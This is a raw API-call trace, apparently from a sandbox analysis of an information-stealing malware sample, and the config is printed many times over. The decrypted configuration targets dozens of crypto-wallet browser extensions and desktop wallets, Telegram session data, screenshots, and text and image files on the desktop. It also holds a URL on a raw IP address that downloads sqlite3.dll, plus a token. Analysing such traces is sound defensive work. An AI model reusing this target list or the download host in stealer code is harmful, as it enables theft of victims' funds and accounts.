Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4790 [0259.342] LocalAlloc (uFlags=0x40, uBytes=0x25ec) returned 0x6eca28 [0259.343] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0259.344] LocalFree (hMem=0x6eca28) returned 0x0 [0259.344] StrStrW (lpFirst="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.344] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0259.344] LocalFree (hMem=0x6b9720) returned 0x0 [0259.344] LocalFree (hMem=0x6bbc98) returned 0x0 [0259.345] LocalFree (hMem=0x6be210) returned 0x0 [0259.346] StrStrW (lpFirst="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.346] lstrlenW (lpString="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension 